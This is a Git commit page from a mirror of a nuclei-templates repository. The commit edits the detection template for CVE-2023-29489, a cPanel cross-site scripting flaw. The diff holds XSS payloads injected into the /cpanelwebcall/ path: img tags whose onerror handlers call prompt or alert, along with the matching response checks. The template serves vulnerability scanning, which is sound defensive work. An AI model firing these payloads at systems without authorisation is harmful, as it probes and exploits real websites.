daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

updated req and matcher

patch-1
Ritik Chaddha 2024-04-13 15:14:27 +05:30 committed by GitHub
parent c78061a124
commit 9062ceb8a8
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 4 additions and 6 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

8
http/cves/2023/CVE-2023-29489.yaml
View File

@ -1,7 +1,7 @@
id: CVE-2023-29489 id: CVE-2023-29489
info: info:
name: cPanel - Cross-Site Scripting name: cPanel < 11.109.9999.116 - Cross-Site Scripting
author: DhiyaneshDk,0xKayala author: DhiyaneshDk,0xKayala
severity: medium severity: medium
description: | description: |
@ -36,17 +36,15 @@ http:
- method: GET - method: GET
path: path:
- '{{BaseURL}}/cpanelwebcall/<img%20src=x%20onerror="prompt(document.domain)">aaaaaaaaaaaa' - '{{BaseURL}}/cpanelwebcall/<img%20src=x%20onerror="prompt(document.domain)">aaaaaaaaaaaa'
- '{{BaseURL}}/cpanelwebcall/<img%20src=x%20onerror="prompt(1)">aaaaaaaaaaaa' - '{{BaseURL}}/cpanelwebcall/<><img%20src=x%20onerror="prompt(document.domain)">'
- '{{BaseURL}}/cpanelwebcall/<><img%20src=1%20onerror=alert("XSS-POC-by-0xKayala")>'
stop-at-first-match: true
matchers-condition: and matchers-condition: and
matchers: matchers:
- type: word - type: word
part: body part: body
words: words:
- '<img src=x onerror="prompt(document.domain)">aaaaaaaaaaaa' - '<img src=x onerror="prompt(document.domain)">aaaaaaaaaaaa'
- '<img src=x onerror="prompt(1)">aaaaaaaaaaaa'
- '<><img src=1 onerror=alert("XSS-POC-by-0xKayala")>'
- 'Invalid webcall ID:' - 'Invalid webcall ID:'
condition: and condition: and